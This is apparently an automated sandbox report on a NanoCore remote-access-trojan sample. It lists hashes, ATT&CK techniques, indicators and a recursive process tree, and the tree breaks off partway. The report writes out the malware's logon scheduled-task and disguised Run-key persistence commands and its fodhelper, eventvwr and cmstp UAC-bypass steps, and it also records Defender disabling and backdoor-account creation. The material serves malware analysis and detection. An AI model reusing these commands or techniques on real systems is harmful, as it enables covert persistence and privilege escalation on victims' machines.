nanocore | 6f36ede475fc614342a9bbb08cd1c714e12cf5826e8a70b7946be046df2c204d

Analysis

max time kernel
2s
max time network
154s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/10/2026, 14:30

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
fb888.io_new.exe
Size 25KB
Sample261020-rt4rns1tg1
SHA256 6f36ede475fc614342a9bbb08cd1c714e12cf5826e8a70b7946be046df2c204d
MD5 524fcb534a8c99296dded47206524b3b
SHA1 632918b42234eff666819cee5840cf13dc8eac04
SHA512 2d85a55d1640e268c487d511d964aade7ba463788253408b3171d6242625976a22dfee5c8cdb3436c803747aa25946f38d56b24c47ad075c1713c14e6c9b8f90
SSDEEP 384:x+FtU+baa4l0H9vkoPg0AhXcMZWcMl4+FIeUx90TGwNJ8G+H+pz9yS5W5amW:wYxCdvZPglFc0W/myIz9uD8zWBySd
TLSH
T122C2F74177FCC668E0BF5BB69C7257004774B89B9D12CB0E0EE8848E1E777444AA4BE2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery execution nanocore keylogger persistence privilege_escalation spyware stealer trojan

Malware Config

Extracted

Family

nanocore

Attributes

c2_port
443

Signatures

Family: NanoCore
NanoCore is a remote access tool (RAT) with a variety of capabilities.
keylogger trojan stealer spyware nanocore
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Disables one or more Microsoft Defender components 1 TTPs 57 IoCs

Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

defense_evasion

Disable or Modify Tools

T1562.001

pid	Process
16632	powershell.exe
14740	powershell.exe
120	powershell.exe
13620	powershell.exe
14144	powershell.exe
17864	powershell.exe
4712	powershell.exe
2496	powershell.exe
9440	powershell.exe
10020	powershell.exe
13072	powershell.exe
3508	powershell.exe
2284	powershell.exe
5020	powershell.exe
9044	powershell.exe
9040	powershell.exe
17764	powershell.exe
16332	powershell.exe
19984	powershell.exe
20560	powershell.exe
7028	powershell.exe
16144	powershell.exe
17308	powershell.exe
2788	powershell.exe
10324	powershell.exe
11480	powershell.exe
8532	powershell.exe
11344	powershell.exe
7800	powershell.exe
7228	powershell.exe
3332	powershell.exe
12980	powershell.exe
16852	powershell.exe
18540	powershell.exe
20732	powershell.exe
3360	powershell.exe
5692	powershell.exe
8572	powershell.exe
14572	powershell.exe
14788	powershell.exe
1816	powershell.exe
19244	powershell.exe
7564	powershell.exe
14132	powershell.exe
14364	powershell.exe
20632	powershell.exe
8	powershell.exe
12380	powershell.exe
17044	powershell.exe
18512	powershell.exe
20612	powershell.exe
14460	powershell.exe
17760	powershell.exe
18360	powershell.exe
16272	powershell.exe
1672	powershell.exe
17276	powershell.exe

Creates a file in the Startup directory 1 TTPs 2 IoCs

A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

persistence privilege_escalation

Registry Run Keys / Startup Folder

T1547.001

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	fb888.io_new.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\WindowsUpdate.bat	fb888.io_new.exe

Adds Run key to start application 2 TTPs 4 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateService = "C:\\Users\\Admin\\AppData\\Local\\Temp\\fb888.io_new.exe"	fb888.io_new.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Windows\CurrentVersion\Run\TCP Monitor = "C:\\Users\\Admin\\AppData\\Local\\tcpmon.exe"	fb888.io_new.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Windows\CurrentVersion\Run\WindowsUpdateService = "C:\\Users\\Admin\\AppData\\Local\\Temp\\fb888.io_new.exe"	fb888.io_new.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000\Software\Microsoft\Windows\CurrentVersion\Run\TCP Monitor = "C:\\Users\\Admin\\AppData\\Local\\tcpmon.exe"	fb888.io_new.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 64 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
20096	powershell.exe
11336	powershell.exe
7520	powershell.exe
9312	powershell.exe
18056	powershell.exe
15184	powershell.exe
3444	powershell.exe
12064	powershell.exe
11780	powershell.exe
14904	powershell.exe
15004	powershell.exe
10784	powershell.exe
17748	powershell.exe
8980	powershell.exe
10884	powershell.exe
10920	powershell.exe
15716	powershell.exe
17772	powershell.exe
7132	powershell.exe
21384	powershell.exe
21152	powershell.exe
10460	powershell.exe
4396	powershell.exe
13668	powershell.exe
16312	powershell.exe
17588	powershell.exe
18316	powershell.exe
11320	powershell.exe
20796	powershell.exe
6740	powershell.exe
14376	powershell.exe
16448	powershell.exe
9656	powershell.exe
17840	powershell.exe
9448	powershell.exe
12408	powershell.exe
11348	powershell.exe
9924	powershell.exe
11916	powershell.exe
13352	powershell.exe
14444	powershell.exe
13364	powershell.exe
21608	powershell.exe
10292	powershell.exe
14972	powershell.exe
15692	powershell.exe
16152	powershell.exe
18640	powershell.exe
5692	powershell.exe
1816	powershell.exe
18512	powershell.exe
120	powershell.exe
9440	powershell.exe
17308	powershell.exe
20732	powershell.exe
12980	powershell.exe
17764	powershell.exe
8532	powershell.exe
20632	powershell.exe
10020	powershell.exe
14460	powershell.exe
11344	powershell.exe
3360	powershell.exe
7800	powershell.exe

Creates a new local user account 1 TTPs 64 IoCs

Uses net.exe to create a new local user account, often for persistence or a backdoor account.

persistence

Local Account

T1136.001

pid	Process
6960	net1.exe
7820	net.exe
592	net.exe
17396	net.exe
12576	net1.exe
14224	net.exe
8160	net1.exe
12040	net.exe
13200	net.exe
15664	net.exe
2484	net1.exe
2052	net1.exe
5164	net1.exe
8904	net.exe
11512	net.exe
20372	net1.exe
12428	net1.exe
22244	net.exe
11696	net1.exe
11372	net.exe
6208	net.exe
16148	net.exe
18200	net.exe
18328	net.exe
19796	net.exe
4476	net.exe
12596	net.exe
18352	net1.exe
18588	net.exe
18980	net.exe
16908	net1.exe
16768	net.exe
20372	net1.exe
2492	net1.exe
5388	net.exe
5104	net.exe
7208	net.exe
7624	net.exe
7868	net.exe
11720	net1.exe
13380	net1.exe
3608	net1.exe
6348	net.exe
8788	net.exe
8364	net1.exe
2872	net.exe
9396	net1.exe
1144	net1.exe
9040	net.exe
4668	net.exe
7928	net1.exe
14804	net1.exe
16288	net.exe
13668	net1.exe
19404	net1.exe
14392	net1.exe
4900	net.exe
4756	net.exe
9024	net1.exe
4552	net.exe
15056	net1.exe
18384	net.exe
18984	net.exe
11048	net1.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\eventvwr.msc	mmc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Permission Groups Discovery: Local Groups 1 TTPs
Attempt to find local system groups and permission settings.
discovery

Local Groups
T1069.001

System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 48 IoCs

Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

discovery

Wi-Fi Discovery

T1016.002

pid	Process
16340	netsh.exe
12644	netsh.exe
20208	netsh.exe
10068	netsh.exe
10040	netsh.exe
6976	netsh.exe
14916	netsh.exe
14496	netsh.exe
13556	netsh.exe
16564	netsh.exe
4636	netsh.exe
10180	netsh.exe
10744	netsh.exe
13416	netsh.exe
20136	netsh.exe
21136	netsh.exe
9224	netsh.exe
11400	netsh.exe
10500	netsh.exe
15092	netsh.exe
14408	netsh.exe
10472	netsh.exe
18260	netsh.exe
16692	netsh.exe
9988	netsh.exe
11540	netsh.exe
9724	netsh.exe
14296	netsh.exe
10664	netsh.exe
14688	netsh.exe
13452	netsh.exe
14220	netsh.exe
14500	netsh.exe
13852	netsh.exe
21804	netsh.exe
21160	netsh.exe
15184	netsh.exe
10728	netsh.exe
10472	netsh.exe
16020	netsh.exe
18096	netsh.exe
17672	netsh.exe
18576	netsh.exe
540	netsh.exe
13072	netsh.exe
10528	netsh.exe
12188	netsh.exe
9000	netsh.exe

Modifies registry class 6 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings\shell\open\command	fb888.io_new.exe
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings	fb888.io_new.exe
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings\shell	fb888.io_new.exe
Key created	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings\shell\open	fb888.io_new.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\fb888.io_new.exe"	fb888.io_new.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1262770251-41185387-1005173349-1000_Classes\ms-settings\shell\open\command\DelegateExecute	fb888.io_new.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 57 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
2204	schtasks.exe
9480	schtasks.exe
14472	schtasks.exe
18496	schtasks.exe
8268	schtasks.exe
11500	schtasks.exe
19996	schtasks.exe
9136	schtasks.exe
2620	schtasks.exe
8072	schtasks.exe
11416	schtasks.exe
16056	schtasks.exe
6824	schtasks.exe
10484	schtasks.exe
11692	schtasks.exe
8704	schtasks.exe
12576	schtasks.exe
17876	schtasks.exe
14996	schtasks.exe
16596	schtasks.exe
18624	schtasks.exe
20992	schtasks.exe
4152	schtasks.exe
14644	schtasks.exe
7116	schtasks.exe
8132	schtasks.exe
9744	schtasks.exe
17376	schtasks.exe
12428	schtasks.exe
2028	schtasks.exe
3248	schtasks.exe
9000	schtasks.exe
6524	schtasks.exe
2620	schtasks.exe
17220	schtasks.exe
13364	schtasks.exe
18688	schtasks.exe
6456	schtasks.exe
13780	schtasks.exe
17536	schtasks.exe
9120	schtasks.exe
13484	schtasks.exe
15284	schtasks.exe
4580	schtasks.exe
18492	schtasks.exe
1848	schtasks.exe
7380	schtasks.exe
10400	schtasks.exe
14568	schtasks.exe
6284	schtasks.exe
18332	schtasks.exe
9824	schtasks.exe
13452	schtasks.exe
16584	schtasks.exe
20064	schtasks.exe
5416	schtasks.exe
6672	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
120	powershell.exe
120	powershell.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	3928	cmstp.exe
Token: SeDebugPrivilege	120	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
4528	mmc.exe
4528	mmc.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 5200 wrote to memory of 2028	5200	fb888.io_new.exe	91
PID 5200 wrote to memory of 3928	5200	fb888.io_new.exe	93
PID 5200 wrote to memory of 108	5200	fb888.io_new.exe	96
PID 108 wrote to memory of 4528	108	eventvwr.exe	97
PID 5200 wrote to memory of 52	5200	fb888.io_new.exe	98
PID 5200 wrote to memory of 120	5200	fb888.io_new.exe	99
PID 52 wrote to memory of 5844	52	fodhelper.exe	101

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
"C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:5200
- C:\Windows\System32\schtasks.exe
  "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
  2⤵
  - Scheduled Task/Job: Scheduled Task
  PID:2028
- C:\Windows\System32\cmstp.exe
  "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\a87ed56d-6ba7-440d-a0f2-c5fd497cce67.inf
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3928
- C:\Windows\System32\eventvwr.exe
  "C:\Windows\System32\eventvwr.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:108
- - C:\Windows\system32\mmc.exe
    "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
    3⤵
    - Drops file in System32 directory
    - Suspicious use of SetWindowsHookEx
    PID:4528
- C:\Windows\System32\fodhelper.exe
  "C:\Windows\System32\fodhelper.exe"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:52
- - C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
    "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
    3⤵
    - Creates a file in the Startup directory
    - Adds Run key to start application
    PID:5844
  - - C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
      4⤵
      Scheduled Task/Job: Scheduled Task
      PID:2620
  - - C:\Windows\System32\cmstp.exe
      "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\7256f6e9-dda1-4b1a-9886-783faf180721.inf
      4⤵
      PID:4408
  - - C:\Windows\System32\eventvwr.exe
      "C:\Windows\System32\eventvwr.exe"
      4⤵
      PID:5092
    - - C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        5⤵
        
        PID:4572
  - - C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      4⤵
      PID:3208
    - - C:\Users\Admin\AppData\Local\tcpmon.exe
        
        "C:\Users\Admin\AppData\Local\tcpmon.exe"
        5⤵
        
        PID:3924
      - C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\tcpmon.exe" /sc onlogon /f
        6⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2204
      - C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\baf79967-1f95-4361-8535-e095051ae7a5.inf
        6⤵
        
        PID:2716
      - C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        6⤵
        
        PID:4660
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        7⤵
        
        PID:2060
      - C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        6⤵
        
        PID:4504
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        7⤵
        
        PID:1276
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        8⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6524
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\af0f2435-d0c9-42a0-90ea-d70e28452f80.inf
        8⤵
        
        PID:6684
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        8⤵
        
        PID:6984
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        9⤵
        
        PID:7044
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        8⤵
        
        PID:3872
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        9⤵
        
        PID:6972
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        10⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7116
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\020f80ba-592d-4eb3-bfb4-6e85a995a22e.inf
        10⤵
        
        PID:7464
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        10⤵
        
        PID:7484
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        11⤵
        
        PID:7552
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        10⤵
        
        PID:7512
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        11⤵
        
        PID:4792
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        12⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8072
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\32461998-a5e5-4836-b90f-d02901e6fda1.inf
        12⤵
        
        PID:8208
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        12⤵
        
        PID:8420
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        13⤵
        
        PID:8500
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        12⤵
        
        PID:8512
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        13⤵
        
        PID:8088
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        14⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:8268
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\38f6fca4-797b-4930-a9c2-d97d77e5d06f.inf
        14⤵
        
        PID:8408
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        14⤵
        
        PID:9384
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        15⤵
        
        PID:9424
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        14⤵
        
        PID:9404
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        15⤵
        
        PID:9804
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        16⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10400
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\a50fc458-eb21-4d47-8272-6d5de23c30d5.inf
        16⤵
        
        PID:11168
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        16⤵
        
        PID:1336
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        17⤵
        
        PID:9548
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        16⤵
        
        PID:4824
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        17⤵
        
        PID:12256
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        18⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:11692
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\50124581-85f1-4094-8eb7-a9bb35e60c0b.inf
        18⤵
        
        PID:4276
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        18⤵
        
        PID:11132
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        19⤵
        
        PID:10804
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        18⤵
        
        PID:12372
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        19⤵
        
        PID:13272
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        20⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:13780
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\adf2ae91-08fe-4028-a0d9-45df2cb0c8ef.inf
        20⤵
        
        PID:13880
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        20⤵
        
        PID:14008
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        21⤵
        
        PID:14176
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        20⤵
        
        PID:14052
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        21⤵
        
        PID:12188
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        22⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:14568
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\2900d4c4-e48f-4878-9808-7749fe9e5902.inf
        22⤵
        
        PID:7856
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        22⤵
        
        PID:14604
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        23⤵
        
        PID:14468
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        22⤵
        
        PID:14836
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        23⤵
        
        PID:15812
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        24⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:2620
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\5e0ee718-3442-49f7-afac-982d9f3abc2a.inf
        24⤵
        
        PID:4388
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        24⤵
        
        PID:15876
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        25⤵
        
        PID:16352
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        24⤵
        
        PID:14484
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        25⤵
        
        PID:5116
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        26⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:16596
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\d6c52a96-2074-43be-a349-8472a255a2bc.inf
        26⤵
        
        PID:16800
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        26⤵
        
        PID:16972
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        27⤵
        
        PID:17244
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        26⤵
        
        PID:17264
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        27⤵
        
        PID:17132
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        28⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:17376
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\9a02deda-8849-42d8-8a5d-e7c560bd040c.inf
        28⤵
        
        PID:5740
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        28⤵
        
        PID:3300
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        29⤵
        
        PID:1496
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        28⤵
        
        PID:7020
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        29⤵
        
        PID:18080
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        30⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:18332
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\742666fa-da50-4727-88f0-4795b18f13d2.inf
        30⤵
        
        PID:17440
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        30⤵
        
        PID:4872
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        31⤵
        
        PID:10332
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        30⤵
        
        PID:6204
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        31⤵
        
        PID:18616
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
        32⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:18496
        
        C:\Windows\System32\cmstp.exe
        
        "C:\Windows\System32\cmstp.exe" /au C:\Users\Admin\AppData\Local\Temp\2066632d-43fc-4e92-ae21-e60244a83ca0.inf
        32⤵
        
        PID:13364
        
        C:\Windows\System32\eventvwr.exe
        
        "C:\Windows\System32\eventvwr.exe"
        32⤵
        
        PID:18916
        
        C:\Windows\system32\mmc.exe
        
        "C:\Windows\system32\mmc.exe" "C:\Windows\system32\eventvwr.msc"
        33⤵
        
        PID:3528
        
        C:\Windows\System32\fodhelper.exe
        
        "C:\Windows\System32\fodhelper.exe"
        32⤵
        
        PID:2004
        
        C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe
        
        "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe"
        33⤵
        
        PID:9276
        
        C:\Windows\System32\schtasks.exe
        
        "C:\Windows\System32\schtasks.exe" /create /tn "MicrosoftWindowsUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\fb888.io_new.exe" /sc onlogon /f
